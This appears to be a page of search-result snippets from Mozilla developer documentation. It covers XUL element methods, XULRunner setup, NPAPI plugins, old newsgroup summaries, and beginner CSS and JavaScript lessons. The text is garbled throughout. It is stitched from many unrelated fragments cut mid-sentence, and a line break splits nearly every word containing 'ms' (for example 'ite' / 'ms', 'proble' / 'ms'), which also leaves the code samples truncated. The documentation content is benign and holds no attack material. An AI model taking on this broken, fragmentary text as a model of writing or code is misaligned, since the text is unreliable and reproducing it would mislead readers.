ms are selected, you can retrieve each selected item using this method.
... the argument index specifies the index in the list of the selected ite
ms, not the row number of the item.
invertSelection - Archive of obsolete content
« xul reference home invertselection() return type: no return value reverses the selected state of all ite
ms.
... selected ite
ms become deselected, and deselected ite
ms become selected.
loadTabs - Archive of obsolete content
« xul reference home loadtabs( uris, loadinbackground, replace ) loadtabs( uris, para
ms ) return type: no return value loads a set of uris, specified by the array uris, into tabs.
...the properties of para
ms are following: boolean inbackground boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid ...
removeItemAt - Archive of obsolete content
<script language="javascript"> function removeselecteditem(){ var mylistbox = document.getelementbyid('mylistbox'); if(mylistbox.selectedindex == -1){ return; // no item selected so return }else{ mylistbox.removeitemat(mylistbox.selectedindex); } } function removeallite
ms(){ var mylistbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </script> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all ite
ms" oncommand="removeallite
ms()"/> <listbox id="mylistbox"> <listitem label="alpha"/> <listitem label="beta"/> <lis...
...titem label="oscar"/> <listitem label="foxtrot"/> </listbox> see also removeallite
ms() insertitemat() ...
selectItemRange - Archive of obsolete content
« xul reference home selectitemrange( startitem, enditem ) return type: no return value selects the ite
ms between the two ite
ms given as arguments, including the start and end ite
ms.
... all other ite
ms are deselected.
Methods - Archive of obsolete content
ncrease increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferenceforelement reload reloadalltabs reloadtab reloadwithflags removeallite
ms removeallnotifications removealltabsbut removecurrentnotification removecurrenttab removeitemat removeitemfro
mselection removenotification removeprogresslistener removesession removetab removetabsprogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange ...
... selecttabatindex setselectionrange showpane showpopup sizeto startediting stop stopediting swapdocshells syncsessions timedselect toggleite
mselection related dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatchevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagname dom:element.getelementsbytagnamens dom:element.getfeature fixme: brokenlink dom:element.getuserdata dom:element.hasattribute dom:element.hasattributens dom:element.hasattributes dom:element.haschildnodes dom:element.insertbefore dom:element.isequalnode dom:element.issamenode dom:element.issupporte...
MoveResize - Archive of obsolete content
for instance, the size of a menu will be large enough to fit all of the ite
ms within the menu.
...arrows will appear on the ends of the menu to allow a user to scroll through the ite
ms.
Panels - Archive of obsolete content
<label value="search" popup="search-panel"/> <panel id="search-panel"> <label control="search" value="ter
ms:"/> <textbox id="search"/> </panel> to attach a panel to an non-button element, for instance to have a panel open when a label is clicked, use the popup attribute.
...here is a complete example: <panel id="search-panel" position="after_start"> <label control="search" value="ter
ms:"/> <textbox id="search"/> </panel> <label value="search" popup="search-panel"/> the position attribute has been added to the panel element with the value 'after_start'.
currentSet - Archive of obsolete content
« xul reference currentset not in seamonkey 1.x type: comma-separated list of strings holds a comma-separated list of the ids of the ite
ms currently on the toolbar.
... you may change the current set of ite
ms by setting this property.
Additional Navigation - Archive of obsolete content
using a literal as the object of a triple is a common way to filter out specific ite
ms.
... for instance, if ite
ms were identified with a type, the data could be filtered to include only ite
ms of a particular type.
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
common mistakes this is a list of the most common mistakes made by extension authors, including both sympto
ms and solutions.
... chrome://browser/content/browser.xul firefox - main window browsertoolbarpalette chrome://navigator/content/navigator.xul seamonkey 2.0 - browser window browsertoolbarpalette chrome://messenger/content/messenger.xul thunderbird - main window mailtoolbarpalette chrome://messenger/content/messenger...gercompose.xul thunderbird - compose window
msgcomposetoolbarpalette chrome://messenger/content/addressbo...ddressbook.xul thunderbird - address book addressbooktoolbarpalette chrome://editor/content/editor.xul kompozer - main window nvutoolbarpalette chrome://calendar/content/calendar.xul sunbird - main window calendartoolbarpalette more information xulplanet.com references: <toolbarbutt...
Code Samples - Archive of obsolete content
note: on operating syste
ms that use backslash characters, double each backslash character.
... on operating syste
ms that use forward-slash characters, specify the file in the normal way.
Complete - Archive of obsolete content
xul and javascript each have mechanis
ms for loading text strings from the correct locale directory.
...and seamonkey's different registration mechanis
ms to register different files where this is needed.
Box Model Details - Archive of obsolete content
example 1 : source view <hbox flex="1"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> in the example above, all three elements will resize the
mselves as they are all flexible.
...the best interface is one that can be displayed at various sizes without proble
ms.
Broadcasters and Observers - Archive of obsolete content
it is convenient to simply disable the back action and have all the elements that issue the back action disable the
mselves.
...in the former case, menu ite
ms and toolbar buttons would need to be disabled when there was no page to go back to, or no text to cut or delete.
Commands - Archive of obsolete content
any buttons and menu ite
ms hooked up to it will be disabled automatically.
... try opening the example below (source view) in a browser window and selecting ite
ms from the list.
Keyboard Shortcuts - Archive of obsolete content
assigning a keyboard shortcut on a menu the second way is: if you are assigning a keyboard shortcut that perfor
ms a command that also exists on a menu, you can associate the key element directly with the menu command.
...you can use this for additional keys as well to define keyboard shortcuts for any number of menu ite
ms.
More Button Features - Archive of obsolete content
example 5 : source view <button type="menu" label="device"> <menupopup> <menuitem label="printer"/> <menuitem label="mouse"/> <menuitem label="keyboard"/> </menupopup> </button> in this example, the user may click the button to pop up a menu containing three ite
ms.
... note that selecting one of these menu ite
ms does not change the label on the button, unlike a menulist.
Scrolling Menus - Archive of obsolete content
creating a large menu you might wonder what happens if you create a menu with a lot of commands on it, such that all the ite
ms won't fit on the screen at once.
... mozilla will provide a scrolling mechanism that will allow you to scroll through the ite
ms.
Tabboxes - Archive of obsolete content
tabbox the outer box that contains the tabs along the top and the tab pages the
mselves.
...remember that the tab elements are much like regular boxes in ter
ms of layout.
Templates - Archive of obsolete content
usually, elements such as treeite
ms and menuite
ms will be populated with data.
...this isn't a problem though, since other elements such as menus wouldn't be expected to display too many ite
ms.
Toolbars - Archive of obsolete content
toolbar a single toolbar that contains toolbar ite
ms such as buttons.
...inside it are placed the individual toolbar ite
ms, usually buttons, but they can be other elements.
Accessibility/XUL Accessibility Reference - Archive of obsolete content
ite
ms are read per line as in "pearl female gray" listitem see listbox menuitem see menulist and menubar menubar <menubar hidden="false"> <menu label="file" accesskey="f"> <menupopup> <menuitem label="new" accesskey="n" key="file-new-key"/> </menupopup> </menu> </menubar> menulist <label value="<!--label te...
..."<!--aramis-->" /> </treerow> </treeitem> <treeitem> <treerow> <treecell label="<!--fergus-->" /> </treerow> </treeitem> </treechildren> </treeitem> </treechildren> </tree> there is no keyboard access to the column picker (the widget visually to the right of the column headers) or the column headers the
mselves (for sorting by column).
arrowscrollbox - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
... methods ensureelementisvisible( element ) return type: no return value if the specified element is not currently visible to the user, the displayed ite
ms are scrolled so that it is.
browser - Archive of obsolete content
droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped ite
ms with nsidroppedlinkitem interface homepage type: url this attribute allows you to set a homepage for the browser element.
...don't use for content from web, as this may cause serious security proble
ms!
command - Archive of obsolete content
in addition, disabling the command will automatically disable the menu ite
ms and keyboard shortcuts.
... visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
deck - Archive of obsolete content
by assigning -1 to this property, all ite
ms will be deselected.
... returns -1 if no ite
ms are selected do not hide panels; the deck element only understands visible panels.
key - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
...keys will map to other keys on platfor
ms that do not have them.
menupopup - Archive of obsolete content
<menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="clipmenu"/> attributes ignorekeys type: boolean if true, keyboard navigation between ite
ms in the popup is disabled.
...it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their ite
ms.
menuseparator - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used to create a separator between menu ite
ms.
... visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
panel - Archive of obsolete content
some features may work, but only on some platfor
ms.
...it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their ite
ms.
resizer - Archive of obsolete content
botto
mstart resized down and toward the start of the line (toward the left for left-to-right locales, toward the right for right-to-left locales).
...as some platfor
ms provide this resizing grip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer.
tabbox - Archive of obsolete content
by assigning -1 to this property, all ite
ms will be deselected.
... returns -1 if no ite
ms are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element.
tabbrowser - Archive of obsolete content
loadtabs( uris, loadinbackground, replace ) loadtabs( uris, para
ms ) return type: no return value loads a set of uris, specified by the array uris, into tabs.
...the properties of para
ms are following: boolean inbackground boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid note: this is the xul method on <browser> / <tabbrowser>, not the global function in chrome://browser/content/browser.js.
tabpanels - Archive of obsolete content
by assigning -1 to this property, all ite
ms will be deselected.
... returns -1 if no ite
ms are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element.
treecol - Archive of obsolete content
<treecol label="name" flex="1" /> </treecols> <treechildren> <treeitem> <treerow> <treecell value="true"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> </treerow> </treeitem> </treechildren> </tree> to make the checkbox visible on some platfor
ms, the following styles need to be added to the stylesheet (see treecol.type).
... on firefox 2.x and 3.x, all operating syste
ms other than mac os x already use these styles by default.
Application Update - Archive of obsolete content
application settings you will need to configure the following settings in your application: branding the update process uses branding information, setup branding for your application as described here: xulrunner tips icons the updater process for linux syste
ms requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); // this preference turns on app.update.mode and allows automatic download and // install to take place.
... resources http://wiki.mozilla.org/software_update http://wiki.mozilla.org/updategeneration http://developer.mozilla.org/en/docs/setting_up_an_update_server http://chatzilla.rd
msoft.com/xulrunner/update/ http://developer.mozilla.org/en/docs/xulrunner_tips ...
Getting started with XULRunner - Archive of obsolete content
in all syste
ms you should unzip the omni.ja file into some example directory and take a look at all the awesome!
... windows from a windows command prompt opened to the myapp folder, we should be able to execute this: c:\path\to\xulrunner.exe application.ini of course, if you opted to install xulrunner then you could simply do %programfiles%\xulrunner.exe application.ini or on 64 bit syste
ms %programfiles(x86)%\xulrunner.exe application.ini note: you can also install your application when you're finished debugging it.
XULRunner Hall of Fame - Archive of obsolete content
ieditweb users can add pages, images, for
ms, ecommerce many special effects and much more using the xulrunner based client.
...build instructions pencil the pencil project's unique mission is to build a free and opensource tool for making diagra
ms and gui prototyping that everyone can use.
How to enable locale switching in a XULRunner application - Archive of obsolete content
you can hardwire the choices into the xul code using fixed list ite
ms, or could take the elegant approach and construct the list dynamically.
...here is a code snippet showing how this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list ite
ms go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascript code to populate the control: try { // query available and selected locales var chromeregservice = components.classes["@mozilla.org/chrome/chrome-registry;1"].getservice(); var xulchromereg = chromeregservice.queryinterface(components.interfaces.nsixulchromeregistry); var toolkitchromereg = chromeregservice.queryinterface(components.interfaces.nsitoolkitchromeregistry); var selectedlocale =...
XULRunner tips - Archive of obsolete content
however, it see
ms that with xulrunner 1.9 the xulrunner directory is ignored, while the profile and application directories are checked.
...you'll probably also want to create menuite
ms that let you open the js shell and other tools provided by the extension.
What XULRunner Provides - Archive of obsolete content
auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc services for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xulrunner, and may be overridden by embedders under certain circu
mstances: apis and user interface for installing, uninstalling, and upgrading xul applications.
... what's out xulrunner will not supply: bookmarks or history ui (must be managed by the application/embedder) xfor
ms (xfor
ms will be available as an extension) ...
calICalendarView - Archive of obsolete content
therefore, it makes sense for an implementation of calicalendarview to add a caliobserver to the its displaycalendar in order to be notified of additions, modifications, and deletions of ite
ms it may be displaying.
...note: this will likely change to selectedite
ms and return an array of caliitembases in order to support selecting multiple ite
ms at once.
Mozprocess - Archive of obsolete content
mozprocess provides python process management via an operating system and platform transparent interface to mozilla platfor
ms of interest.
... mozprocess ai
ms to provide the ability to robustly terminate a process (by timeout or otherwise), along with any child processes, on windows, os x, and linux.
2006-11-24 - Archive of obsolete content
thunderbird losing emails tb see
ms to be deleting mail folders when they reach 4gb in size.
... exact cause is unknown but may be related to multiprocessor platfor
ms.
2006-10-20 - Archive of obsolete content
marcus clai
ms that when he builds firefox using centos he encounters crashes (segmentation faults) under linux distributions such as gentoo, suse and fedora.
... he also points out that when he perfor
ms a local build any of those platfor
ms (gentoo, suse and fedora) he doesn't encounter any proble
ms on the same machine.
2006-10-27 - Archive of obsolete content
he has already built firefox 1.5.0.7 on the same machine with no proble
ms.
... update-packaging october 27: atachi.hayash wanted to know if you use
msys would update-packaging work.
Extentsions FAQ - Archive of obsolete content
just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.
ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
...it see
ms what you want is a one button access to that extension with a prefilled bounce address, right?
2006-12-01 - Archive of obsolete content
discussion november 29th gecko 1.9/gran paradiso status meeting other than annoucing the meeting, this thread discusses where else can info about what happens at the meetings be found (since the agenda often see
ms bare).
... bon echo project status: remaining "to-do" ite
ms beltzner starts a discussion on when to offer 1.5.0.8+ users the chance to upgrade to ff2.x (now or when ff2.0.0.1 is released).
JS-Engine FAQ - Archive of obsolete content
to write wrappers in pure javascript to interface with any c library on the system there are mechanis
ms such as xpcshell, wxjs, jsdb, jsni coding spidermonkey in c check out this tutorial how to compile tamarin on linux/x86 there is a patch that allows you to compile it.
... no, accessing anything in the web page's script may lead to security proble
ms.
NPAPI plugin developer guide - Archive of obsolete content
owless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins
ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving strea
ms working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platfor
ms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native insta...
...ting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins strea
ms receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls ...
The First Install Problem - Archive of obsolete content
on linux, a per-profile installation of plugins see
ms unavoidable.
... future directions: using object tag with classid: incidental benefit embedders such as compuserve (who now embed gecko in lieu of ie as the default browser) can determine on their own the mechanis
ms to parse the win32 registry for plids.
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
also, when included with builds of mozilla that are based on gtk 1.2 or gtk 2.x, the xt code that hosts the plugins is at best hacky and has been the source for many minor proble
ms including inconsistent focus behavior as well as occasional crashes.
...if you return with an error from your initialization function the plugin will not be used which avoids crashes and other proble
ms.
Plugins - Archive of obsolete content
logging and debugging for multi-process plugins how to create a plugin log to aid in debugging proble
ms with multi-process plugins.
... xembed extension for mozilla plugins recent versions of mozilla on *nix-based syste
ms include an extension for writing plugins that use xembed instead of using the old xt-based main loop that most plugins have been using since the netscape 3.x days.
Digital Signatures - Archive of obsolete content
but encryption and decryption, by the
mselves, do not address another problem: tampering.
... figure 1 shows two ite
ms transferred to the recipient of some signed data: the original data and the digital signature, which is basically a one-way hash (of the original data) that has been encrypted with the signer's private key.
Threats - Archive of obsolete content
a threat is any circu
mstance or event with the potential to adversely impact data or syste
ms via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service.
...impersonation can take two for
ms: spoofing.
Vulnerabilities - Archive of obsolete content
this article discusses vulnerabilities, explaining what they are and how they are present in all syste
ms.
... the web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software which can be any c
ms such as wordpress, joomla, magento, wocommerce and more.
Theme changes in Firefox 3 - Archive of obsolete content
all file list all platfor
ms file description of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml).
... changes in browser --- changes in global all platfor
ms the yellow background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class.
Summary of Changes - Archive of obsolete content
for a complete discussion of these ite
ms, see the sections in which they are described.
...div plus scripting non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.for
ms["formname"].inputname.value ie5+ inputname.value dom level 1: document.for
ms["formname"].inputname.value ie5+ formctrlname dom level 1: document.for
ms["formname"].formctrlname ie5+ document.for
ms(0) dom level 1: document.for
ms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textconte...
Processing XML with E4X - Archive of obsolete content
use domparser/do
mserializer or a non-native jxon algorithm instead.
... we can iterate through the matching elements like so: for (var i = 0; i < languages.lang.length(); i++) { alert(languages.lang[i].tostring()); } here we are using identical syntax to that used to access numbered ite
ms in an array.
background-size - Archive of obsolete content
konqueror is listed below the table, which see
ms inconsistent.
... and anyway, it's more the -moz-border-image that see
ms to be the problem - that gets inherited even if i add in -moz-border-image: none, to <body> or <html>, and setting the height to 100% is more a matter of covering it up rather than stopping it happening (see further examples a, b and c - b and c look ok, but adding margin or padding reveals that the image applies to both <body> and <html> even though explicitly set to none) user:robertc 2009-08-1...
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
in fact, the markers were set to be a uniform size that did not change to match the content of the list ite
ms, so in rare cases the marker might actually appear to be smaller.
... the solution fortunately, there are mozilla-specific css-like rules that can be used to correct both proble
ms.
Using the Right Markup to Invoke Plugins - Archive of obsolete content
this behavior is not incorrect according to the html 4.01 specification, but it obliges web authors to diligently specifyobtainment mechanis
ms.
... recommendation in order to overcome the shortcomings that you can't nest object elements in ie and that there isn't a way you can simply use one object element in a cross-browser way (with architecture specific obtainment mechanis
ms), the best course of action is to dynamically write object elements based on architecture.
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
ms devstudio midl must not be used.
... // helper class to implement all necessary nsiclassinfo method stubs // and to set flags used by the security system class nsclassinfomixin : public nsiclassinfo { // these flags are used by the dom and security syste
ms to signal that // javascript callers are allowed to call this object's scritable methods.
XQuery - Archive of obsolete content
the extension now includes and interfaces with the open-source version of saxonica's saxon b (though this extension currently only perfor
ms the xqueries).
...berkeley db xml was the initial choice by the extension developer for its support across many languages (c++, java, python, perl, php, etc.) (besides its also being open source), but now some proble
ms may exist with bdbxml (unlike saxon).
Common causes of memory leaks in extensions - Extensions
all zombie compartments in extensions are caused by a failure to release resources appropriately in certain circu
mstances, such as when a window is closed, a page unloads, or an extension is disabled or removed.
... proble
ms in bootstrapped (restartless) add-ons bootstrapped extensions use a bootstrap.js compartment.
Desktop gamepad controls - Game development
previous overview: control mechanis
ms next now we'll look at adding something extra — support for gamepad controls, via the gamepad api.
... previous overview: control mechanis
ms next ...
asm.js - Game development
it pushes js engines to optimize this kind of code, and gives compilers like e
mscripten a clear definition of what kind of code to generate.
...e
mscripten, a c/c++ to javascript compiler, emits asm.js code to make it run with near native performance on several browsers.
Test your skills: CSS and JavaScript accessibility - Learn web development
we'd like you to assume that the existing ruleset with the a selector is supplied by some c
ms, and that you can't change it — instead, you need to create new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list.
...explain what the proble
ms are, and what the guidelines are that state the acceptable values for color and sizing.
Pseudo-classes and pseudo-elements - Learn web development
instead of adding the class, we could use the :first-child pseudo-class selector — this will always target the first child element in the article, and we will no longer need to edit the html (this may not always be possible anyway, maybe due to it being generated by a c
ms.) all pseudo-classes behave in this same kind of way.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
Type, class, and ID selectors - Learn web development
using the universal selector to make your selectors easier to read one use of the universal selector is to make selectors easier to read and more obvious in ter
ms of what they are doing.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
it is a pattern of elements and other ter
ms that tell the browser which html elements should be selected to have the css property values inside the rule applied to them.
... h1 + p adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
Positioning - Learn web development
to try this out, add the following declarations to the .positioned rule in your css: top: 30px; left: 30px; note: the values of these properties can take any units you'd logically expect — pixels, mm, re
ms, %, etc.
...this means that you can create useful ui ite
ms that are fixed in place, like persisting navigation menus that are always visible no matter how much the page scrolls.
Getting started with CSS - Learn web development
if i want all paragraphs and all list ite
ms to be green my rule looks like this: p, li { color: green; } try this out in the interactive editor below (edit the code boxes), or in your local css document.
... don't worry if this see
ms complicated at the moment — you'll soon start to get the hang of it as you write more css.
How CSS works - Learn web development
when you start working with browser devtools you will be navigating the dom as you select ite
ms in order to see which rules apply.
... the updated output is as follows: in our debugging css article in the next module we will be using browser devtools to debug css proble
ms, and will learn more about how the browser interprets css.
What is a web server? - Learn web development
(up and running) excusing downtime and syste
ms troubles, a dedicated web server is always connected to the internet.
...some application servers cater to specific website categories like blogs, wikis, or ecommerce; others, called c
mss (content management syste
ms), are more generic.
Dealing with files - Learn web development
for example, if you use spaces in your filename, some syste
ms may treat the filename as two filenames.
...that way you'll bump into fewer proble
ms later down the road.
Installing basic software - Learn web development
you should also test how your site perfor
ms on mobile devices and on any old browsers your target audience may still be using (such as ie 8–10.) lynx, a text-based terminal web browser, is great for seeing how your site is experienced by visually-impaired users.
...there are loads of (s)ftp progra
ms available including cyberduck, fetch and filezilla.
Tips for authoring fast-loading HTML pages - Learn web development
this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circu
mstances such as breaking news stories.
... use modern css and valid markup use of modern css reduces the amount of markup, can reduce the need for (spacer) images, in ter
ms of layout, and can very often replace images of stylized text -- that "cost" much more than the equivalent text-and-css.
Creating hyperlinks - Learn web development
use our <a href="contacts.html#mailing_address">mailing address</a>.</p> you can even use the document fragment reference on its own to link to another part of the same document: <p>the <a href="#mailing_address">company mailing address</a> can be found at the bottom of this page.</p> absolute versus relative urls two ter
ms you'll come across on the web are absolute url and relative url: absolute url: points to a location defined by its absolute location on the web, including protocol and domain name.
...this can cause proble
ms for screen reader users, if there's a list of links out of context that are labeled "click here", "click here", "click here".
Making asynchronous programming easier with async and await - Learn web development
they are available in modern versions of most browsers, the same as promises; the main support proble
ms come with internet explorer and opera mini.
...even with browser support being more limited than other async code mechanis
ms at the time of writing, it is well worth learning and considering for use, both for now and in the future.
Drawing graphics - Learn web development
in ter
ms of the sides: the longest side is called the hypotenuse the side next to the 60 degree angle is called the adjacent — which we know is 50 pixels, as it is half of the line we just drew.
...in 3d imagery ter
ms, the camera represents a viewer's position in the world.
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data ite
ms from the server to update sections of a webpage without having to load an entire new page.
... there is quite a lot of complex code that deals with filtering the products by category and search ter
ms, manipulating strings so the data displays correctly in the ui, etc.
Third-party APIs - Learn web development
adding a custom marker adding a marker (icon) at a certain point on the map is easy — you just use the l.marker() method (which see
ms to be documented in the related leaflet.js docs).
...this type of api is known as a restful api — instead of getting data using the features of a javascript library like we did with mapquest, we get data by making http requests to specific urls, with data like search ter
ms and other properties encoded in the url (often as url parameters).
Video and Audio APIs - Learn web development
you can solve both these proble
ms by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascript.
...just for fun, we are providing two reporting mechanis
ms — a <span> containing the elapsed time in minutes and seconds, and an extra <div> that we will use to create a horizontal indicator bar that gets longer as the time elapses.
A first splash into JavaScript - Learn web development
thinking like a programmer one of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world proble
ms.
...in javascript, most of the ite
ms you will manipulate in your code are objects.
Object-oriented JavaScript for beginners - Learn web development
the basic idea of oop is that we use objects to model real world things that we want to represent inside our progra
ms, and/or provide a simple way to access functionality that would otherwise be hard or impossible to make use of.
... in addition, there are a couple of proble
ms with our bio() method — the output always includes the pronoun "he", even if your person is female, or some other preferred gender classification.
Object building practice - Learn web development
horizontal and vertical velocity (velx and vely) — each ball is given a horizontal and vertical velocity; in real ter
ms these values are regularly added to the x/y coordinate values when we animate the balls, to move them by this much on each frame.
... add the following to the bottom of your code now: function loop() { ctx.fillstyle = 'rgba(0, 0, 0, 0.25)'; ctx.fillrect(0, 0, width, height); for (let i = 0; i < balls.length; i++) { balls[i].draw(); balls[i].update(); } requestanimationframe(loop); } all progra
ms that animate things generally involve an animation loop, which serves to update the information in the program and then render the resulting view on each frame of the animation; this is the basis for most games and other such progra
ms.
Introducing JavaScript objects - Learn web development
object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanis
ms in classical object-oriented programming languages.
...you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data ite
ms within it and writing your own json.
Multimedia: Images - Learn web development
in ter
ms of download performance, eliminating media, and reducing file size is the low-hanging fruit.
... beyond loading a subset of images, next you should look into the format of the images the
mselves: are you loading the most optimal file formats?
JavaScript performance - Learn web development
some features may not be necessary, and though they may add some bling, is the cost of the feature in ter
ms of performance worth it?
... battery impact conclusion while optimizing your media files and scripts will get you very far along in ter
ms of web performance optimization, everything that touches a web pages impacts performance.
Learning area release notes - Learn web development
our web for
ms learning module now has "test your skills" assessments accompanying the articles.
... march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html for
ms module has been significantly updated: it has been retitled web for
ms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides.
Framework main features - Learn web development
handling dependencies all major frameworks provide mechanis
ms for handling dependencies — using components inside other components, sometimes with multiple hierarchy levels.
...testing tools are not built into the frameworks the
mselves, but the command-line interface tools used to generate framework apps give you access to the appropriate testing tools.
Getting started with Svelte - Learn web development
it's main current disadvantages are that it is a young framework — its ecosystem is therefore more limited in ter
ms of tooling, support, plugins, clear usage patterns, etc.
...if you want to share an idea, ask for help, or report an issue, it's always extremely useful to create a repl instance demo
mstrating the issue.
Information for External Developers Dealing with Accessibility
implementing an
msaa server, a practical guide a document for developers who need to support microsoft active accessibility (
msaa) in a desktop application, in order to make it accessible with 3rd party assistive technologies, containing practical tips and the details of mozilla's implementation.
... accessibility api cross reference should be helpful at anyone looking at implementing accessibility api support for a product on multiple platfor
ms.
A bird's-eye view of the Mozilla framework
it examines what happens when the user perfor
ms a simple user interface (ui) action such as clicking a link in the contents panel of the help viewer window shown below.
... the article focuses on the architecture of the overall framework supporting the mozilla application suite, not the architecture of the individual applications the
mselves.
Choosing the right memory allocator
this article looks over some of them and tries to sort out which should be used under what circu
mstances.
... presshell arena nsipresshell::allocateframe() and nsprescontext::allocatefro
mshell() can be used to allocate memory from an arena maintained by the presshell.
Creating MozSearch plugins
escription>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchter
ms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchter
ms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> let's say the user chooses to use the yahoo!
